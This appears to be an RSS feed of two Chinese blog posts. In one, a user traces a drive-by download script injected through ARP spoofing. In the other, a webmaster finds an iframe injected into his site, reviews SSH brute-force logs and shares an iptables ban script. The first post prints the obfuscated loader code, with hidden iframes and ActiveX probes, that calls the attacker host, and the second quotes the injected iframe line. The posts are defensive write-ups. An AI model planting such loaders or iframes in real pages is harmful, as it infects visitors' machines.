记录与PHP的PK经历 » 木马 http://www.pkphp.com PK with php! Fri, 27 May 2011 02:07:46 +0000 en hourly 1 http://wordpress.org/?v=3.1 今日到南京上网，发现偶尔打开的网页出现如下代码 http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/ http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/#comments Wed, 10 Sep 2008 05:46:08 +0000 askie http://www.pkphp.com/?p=632 您可能也喜欢： 蝈蝈采集程序核心代码：任意字符串截取函数 linux和windows下均可查询pr的php代码 php查询alexa排名的代码 如何在自己的博客上卖淘宝店铺的商品？如何免费推广自己淘宝商品？ 无觅 ]]> 当打开某个新的域名是，偶尔网页会出现如下代码，代码在网页中出现的位置不固定，有时候在网页头部，有时候在body内，难道是所在的局域网中毒？

<script language="javascript" SRC="http://ad.userads.info/ads.js"></script>

追踪http://ad.userads.info/ads.js
会出现如代码：

document.writeln("<script>");
document.writeln("function oK_Begin(){");
document.writeln("var Then = new Date() ");
document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
document.writeln("var cookieString = new String(document.cookie)");
document.writeln("var cookieHeader = \"Cookie1=\" ");
document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
document.writeln("if (beginPosition != -1){ ");
document.writeln("} else ");
document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString() ");
document.writeln("document.write(\'<iframe width=0 height=0 src=\"http://ad.userads.info/in.htm\">
<\/iframe>\');");
document.writeln("}");
document.writeln("}");
document.writeln("oK_Begin();");
document.writeln("<\/script>");
document.writeln("<script>window.onerror=function(){return true;}<\/script>")

还没有时间分析这个js代码有啥危害，不过感觉应该不是什么好动西！现在的病毒真是无孔不入啊！
使用firefox和chrome都会出现，看来不是浏览器的问题！

继续追踪：http://ad.userads.info/in.htm

<script>
window.status="完成";
window.onerror=function(){return true;}
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)
document.write("<iframe width=20 height=0 src=14.htm></iframe>");
document.write("<iframe width=20 height=0 src=flash.htm></iframe>");
document.write("<iframe width=20 height=0 src=re10.htm></iframe>");
document.write("<iframe width=20 height=0 src=uu.htm></iframe>");
try{var f;
var gw=new ActiveXObject("\x47\x4c\x49\x45\x44\x6f\x77\x6e\x2e\x49\x45\x44\x6f\x77\x6e\x2e\x31");}
catch(f){};
finally{if(f!="[object Error]"){document.write("<iframe width=100 height=0 src=lz.htm></iframe>");}}
try{var m;
var gw=new ActiveXObject("\x49\x45\x52\x50\x43\x74\x6C\x2E\x49\x45\x52\x50\x43\x74\x6C\x2E\x31");}
catch(m){};
finally{if(m!="[object Error]"){document.write("<iframe width=100 height=0 src=re11.htm></iframe>");}}
</script>
<iframe width=100 height=0 src=flash.htm></iframe>
<iframe width=100 height=0 src=sina.htm></iframe>
<iframe width=100 height=0 src=office.htm></iframe>
<script type="text/javascript" src="http://js.tongji.cn.yahoo.com/695113/ystat.js"></script><noscript>
<a href="http://tongji.cn.yahoo.com"><img src="http://img.tongji.cn.yahoo.com/695113/ystat.gif"/></a>
</noscript>

这个里面所有文件就是木马程序，幸亏使用firefox上网，要是ie肯定就中招了！唉！垃圾木马制造者！你们真是垃圾中的战斗机啊！

这个病毒看来是ARP攻击了，这种木马一旦局域网内的一台机器中毒了，这个机器会攻击路由器或者网关，模拟路由器或者网关的mac地址，向局域网内的所有机器发送病毒代码，也就是说这台机器模拟了路由器或者网关，当你上网的时候需要经过路由器或者网关，而冒充的网关就给你网页代码路过的时候增加了病毒代码。这样你打开的每个网页都可能有病毒。遇到这种情况你需要安装arp防火墙，这里有免费的，就是360ARP防火墙。

安装后的防火墙能够过滤冒牌的路由器或者网关发送过来的病毒代码，使得你的上网安全。在这里想免费的360致敬！

第二种解决办法：在本地host表中，将ad.userads.info解析到本机ip：127.0.0.1这样即使你的机器遇到了这个木马代码，木马也无法下载病毒到你的本机，从而保证了你本地机器的安全。这种解决措施也是目前360软件的解决方案。

Related items

"ad.userads(2)userads(2)userads.info(4)ad.userads.info(16)ad.userads.info/ads.js(7)<script language="javascript SRC="http://ad.userads.info/ads.js"></script>(4)http://ad.userads.info/14.htm是什么(1)ad.userads(2)//ad.userads.info/in.htm(1)木马 userads.info(1)http://ad.userads.info/ads.js(2)http://ad.userads.info/14.htm(2)病毒http://ad.userads.info/14.htm(1)http://ad.userads.info/in.htm(1)ad.userads.info/in.htm(1)
您可能也喜欢：
蝈蝈采集程序核心代码：任意字符串截取函数
linux和windows下均可查询pr的php代码
php查询alexa排名的代码
如何在自己的博客上卖淘宝店铺的商品？如何免费推广自己淘宝商品？
无觅

]]> http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/feed/ 7 如何防止服务器被暴力破解密码？ http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/ http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/#comments Sat, 30 Aug 2008 06:24:03 +0000 askie http://www.pkphp.com/?p=542 您可能也喜欢： Ubuntu下安装 apache+php+mysql文本服务器！ wget 使用指南 shell下查看服务器当前所有进程 wordpress当前最新版本SVN服务器 无觅 ]]> 今天访问自己的一个网站，突然发现第一打开的时候页面上出现了一个黑色的图框，很小的那种，而且网页的css文件也没有加载，刷新后才会加载。于是我查看了网页源代码，这一看吓我一跳，很不幸的事情出现了，我的网站被挂马了，网页开头出现了如下代码：

   1: <iframe src=http://520zuixin.com/cn5.htm width=50 height=0></iframe>

马上登录服务器查看该网站代码，没找到异常，这是一件很奇怪的事情。代码是如何被插入到网页开头呢？难道在apache做了手脚？这个问题还没有查清楚，先放下这个问题。去查看服务器的安装记录。

当打开/var/logs/secure文件时，发现了很多利用ssh来暴力破解登录的记录，如下

   1: Aug 29 16:27:23 fgb sshd[31098]: Failed password for root from 189.205.132.145 port 49920 ssh2
   2: Aug 29 16:27:28 fgb sshd[31100]: Failed password for root from 189.205.132.145 port 55661 ssh2
   3: Aug 29 16:27:33 fgb sshd[31103]: Failed password for root from 189.205.132.145 port 33579 ssh2
   4: Aug 29 16:27:37 fgb sshd[31106]: Failed password for root from 189.205.132.145 port 39344 ssh2
   5: Aug 29 16:27:42 fgb sshd[31115]: Failed password for root from 189.205.132.145 port 45117 ssh2
   6: Aug 29 16:27:46 fgb sshd[31124]: Failed password for root from 189.205.132.145 port 50881 ssh2
   7: Aug 29 16:27:52 fgb sshd[31126]: Failed password for root from 189.205.132.145 port 56359 ssh2
   8: Aug 29 16:27:57 fgb sshd[31128]: Failed password for root from 189.205.132.145 port 35882 ssh2
   9: Aug 29 16:28:02 fgb sshd[31130]: Failed password for root from 189.205.132.145 port 41888 ssh2
  10: Aug 29 16:28:08 fgb sshd[31132]: Failed password for root from 189.205.132.145 port 47882 ssh2
  11: Aug 29 16:28:12 fgb sshd[31134]: Failed password for root from 189.205.132.145 port 53121 ssh2
  12: Aug 29 16:28:17 fgb sshd[31136]: Failed password for root from 189.205.132.145 port 59014 ssh2
  13: Aug 29 16:28:21 fgb sshd[31139]: Failed password for root from 189.205.132.145 port 36742 ssh2
  14:
  15: Aug 29 17:24:13 fgb sshd[32749]: Did not receive identification string from 220.231.81.140
  16: Aug 29 17:28:50 fgb sshd[432]: Illegal user admin from 220.231.81.140
  17: Aug 29 17:28:57 fgb sshd[450]: Failed password for root from 220.231.81.140 port 59843 ssh2
  18: Aug 29 17:29:04 fgb sshd[452]: Illegal user stud from 220.231.81.140
  19: Aug 29 17:29:11 fgb sshd[454]: Illegal user trash from 220.231.81.140
  20: Aug 29 17:29:17 fgb sshd[457]: Illegal user gt05 from 220.231.81.140
  21: Aug 29 17:29:22 fgb sshd[463]: Illegal user william from 220.231.81.140
  22: Aug 29 17:29:26 fgb sshd[465]: Illegal user stephanie from 220.231.81.140
  23: Aug 29 17:29:37 fgb sshd[468]: Failed password for root from 220.231.81.140 port 60795 ssh2
  24: Aug 29 17:29:48 fgb sshd[471]: Failed password for root from 220.231.81.140 port 61017 ssh2
  25: Aug 29 18:16:24 fgb sshd[1638]: warning: can't get client address: Connection reset by peer
  26: Aug 29 18:16:24 fgb sshd[1638]: Could not write ident string to 219.142.141.194
  27: Aug 29 18:16:29 fgb sshd[1639]: Accepted password for root from 219.142.141.194 port 30436 ssh2
  28: Aug 29 18:16:37 fgb sshd[2650]: Received signal 15; terminating.
  29: Aug 29 18:19:07 fgb sshd[2643]: Server listening on 0.0.0.0 port 22.
  30: Aug 29 18:19:31 fgb sshd[2712]: Accepted password for root from 219.142.141.194 port 30477 ssh2

类似这样子的记录很多，看来有很多垃圾的人在破解我的服务器密码！现在垃圾和无聊的家伙还真多啊！我都懒的骂你们了！有本事去搞美国、去搞日本、去搞法国，在国内捣乱算什么东西！

骂归骂，但是还是要想办法制止密码被破解，后来在网站找到了一段代码，这段代码如下：

   1: #!/bin/sh
   2: SCANIP=`grep "Failed" /var/log/secure | awk '{print $(NF-3)}' |sort|uniq -c|awk '{print $1"="$2;}'`
   3: for i in $SCANIP
   4: do
   5: NUMBER=`echo $i|awk -F= '{print $1}'`
   6: SCANIP=`echo $i|awk -F= '{print $2}'`
   7: echo "$NUMBER($SCANIP)"
   8: if [ $NUMBER -gt 10 ] && [ -z "`iptables -vnL INPUT|grep $SCANIP`" ]
   9: then
  10: /sbin/iptables -I INPUT -s $SCANIP -m state --state NEW,RELATED,ESTABLISHED -j DROP
  11: echo "`date` $SCANIP($NUMBER)" >> /var/log/scanip.log
  12: fi
  13: done

这段代码作用是：扫描secure安全日志文件，发现超过10次非法链接的ip，将其列入iptable防火墙禁止列表，并保存在记录文件中。将这段代码进行定时执行，就可以防止暴力破解的问题。经过这段代码首次扫描后，得到了如下的非法ip记录，这些ip已经被ban了！看这个结果就知道了有个垃圾ip居然非法扫描了我5000多次！

   1: 六  8月 30 13:50:55 CST 2008 123.30.0.68(52)
   2: 六  8月 30 13:50:55 CST 2008 189.205.132.145(324)
   3: 六  8月 30 13:50:54 CST 2008 201.6.150.22(41)
   4: 六  8月 30 13:50:54 CST 2008 202.102.144.8(13)
   5: 六  8月 30 13:50:55 CST 2008 219.238.183.30(162)
   6: 六  8月 30 13:50:54 CST 2008 222.174.167.162(5058)
   7: 六  8月 30 13:50:54 CST 2008 61.139.209.141(40)

关于被挂的那段代码怎么插入到我的网站，我继续研究一下，有了结果会记录在这里的！

Related items

服务器怎样防止暴力破解(1)220.231.81.140(2)php破解密码(1)iptables 如何防止病毒(1)防止利用SSH攻击 办法(1)php密码暴力破解(1)61.139.209.141(1)Failed password for from port ssh2(1)ssh破解密码(1)PHP 记录 IP(1)sshd 暴力破解保护(1)php网站 密码破解(1)ssh 怎样 暴力破解密码(1)ssh 破解(1)求暴力破解PHP网页(1)
您可能也喜欢：
Ubuntu下安装 apache+php+mysql文本服务器！
wget 使用指南
shell下查看服务器当前所有进程
wordpress当前最新版本SVN服务器
无觅
]]> http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/feed/ 5